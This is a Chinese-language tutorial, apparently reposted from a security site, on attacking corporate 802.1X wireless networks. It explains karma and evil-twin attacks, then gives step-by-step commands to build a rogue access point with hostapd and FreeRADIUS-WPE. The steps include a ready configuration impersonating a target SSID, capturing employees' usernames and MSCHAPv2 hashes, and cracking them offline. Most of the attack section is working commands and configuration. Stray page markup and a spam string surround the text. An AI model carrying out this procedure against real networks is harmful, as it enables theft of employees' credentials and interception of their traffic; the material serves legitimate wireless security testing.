<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tools/8294

    0x01前言概述


    針對開放式(沒有密碼)無線網絡的企業攻擊,我個人感覺比較經典的攻擊方式有2種,一種是eviltwin,一種是karmakarma應該是eviltwin攻擊手法的升級版,攻擊者只需要簡單的監聽客戶端發的ssid探測和響應包就可以實現中間人了,受害者很少會有察覺。而且坊間曾有一個錯誤的認識,認為隱藏的ssid是不受karma影響的。但是實際情況是,客戶端如果曾經連接過隱藏的ssid,也會廣播這些網絡的探測包。盡管karma這種攻擊方式已經有10多年的歷史了,但是在MAC OSX,ubuntu,老版本的andorid系統上依然有效。win7的默認配置居然是防護karma攻擊的。

    對加密的無線網絡,針對個人網絡,很多是使用wpa2-psk預共享密鑰的方法來限制訪問。而公司的無線網絡有使用wpa2企業認證的,也有使用radius服務提供獨立的用戶名和密碼來實現802.1x標準認證的。

    0x02 實現過程


    我這里是的攻擊是使用hostapd扮演一個無線訪問點,然后通過打補丁的freeraidus wpe來捕捉密碼hash,最后用asleep來離線破解密碼,來對抗相對安全的使用radius服務器提供獨立的用戶名和密碼實現的802.1x認證的企業無線網絡環境。

    所需設備:

    TP-LINK TL-WN821N 
    Kali 1.1.0
    

    首先安裝freeradius-wpe,既可以使用dpkg直接安裝freeradius-server-wpe_2.1.12-1_i386.deb,也可以通過源碼編譯來安裝,通過deb包安裝方法的命令如下:

    wget https://github.com/brad-anton/freeradius-wpe/raw/master/freeradius-server-wpe_2.1.12-1_i386.deb
    dpkg --install freeradius-server-wpe_2.1.12-1_i386.deb
    ldconfig
    cd /usr/local/etc/raddb/certs
    ./bootstrap && ldconfig
    

    the progress pictures

    通過源碼安裝的步驟如下:

    git clone https://github.com/brad-anton/freeradius-wpe.git
    wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2  
    tar jxvf freeradius-server-2.1.12.tar.bz2
    patch -p1 < ../freeradius-wpe.patch   
    ./configure
    make install
    

    the progress pictures

    然后執行radiusd -X開啟debug模式驗證是否安裝成功,如果運行此命令的時候提示

    Failed binding to /usr/local/var/run/radiusd/radiusd.sock: No such file or directory
    

    則需要建立相應的目錄

    [email protected]:/usr/local/etc/raddb/certs# mkdir -p /usr/local/var/run/radiusd/
    

    接下來安裝hostapd,命令如下:

    wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
    tar zxvf hostapd-2.0.tar.gz
    cd hostapd-2.0/hostapd/
    cp defconfig .config
    make
    

    the progress pictures

    如果安裝的時候提示:

    ../src/drivers/driver_nl80211.c:19:31: fatal error: netlink/genl/genl.h: No such file or directory
    compilation terminated.
    make: *** [../src/drivers/driver_nl80211.o] Error 1
    

    則需要安裝libnl開發包,命令如下:

    [email protected]:/hostapd-2.0/hostapd# sudo apt-get install libnl1 libnl-dev
    

    然后編輯hostapd-wpe.conf文件,如下

    interface=wlan0
    driver=nl80211
    ssid=corp-lobby
    country_code=DE
    logger_stdout=-1
    logger_stdout_level=0
    dump_file=/tmp/hostapd.dump
    ieee8021x=1
    eapol_key_index_workaround=0
    own_ip_addr=127.0.0.1
    auth_server_addr=127.0.0.1
    auth_server_port=1812
    auth_server_shared_secret=testing123
    auth_algs=3
    wpa=2
    wpa_key_mgmt=WPA-EAP
    channel=1
    wpa_pairwise=CCMP
    rsn_pairwise=CCMP
    

    實際操作需要修改的地方只有ssid項,如果你的目標企業無線網絡的ssid叫corp-lobby,則修改ssid=corp-lobby,運行 hostapd -dd hostapd-wpe.conf 開啟偽造的無線熱點

    這時候如果有企業員工在你附近,他的手機會自動連接你的偽造的無線熱點,你就可以通過

    tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
    

    看到抓到的用戶名和MSCHAPv2的響應hash和挑戰hash。

    the progress pictures

    有了challenge和response,就可以使用asleep工具來基于字典的暴力破解,命令如下

    the progress pictures

    使用radius實現802.1x認證的企業無線網絡相對來說還是比較安全的,如果每個用戶的密碼足夠復雜的話。后續的國外研究者也對這種攻擊增加了針對客戶端和路由設備的心跳漏洞的工具,集成的項目叫cupid,有興趣的可以參考http://www.sysvalue.com/en/heartbleed-cupid-wireless/

    0x03 參考文章


    http://phreaklets.blogspot.sg/2013/06/cracking-wireless-networks-protected.html https://insights.sei.cmu.edu/cert/2015/08/instant-karma-might-still-get-you.html

    97av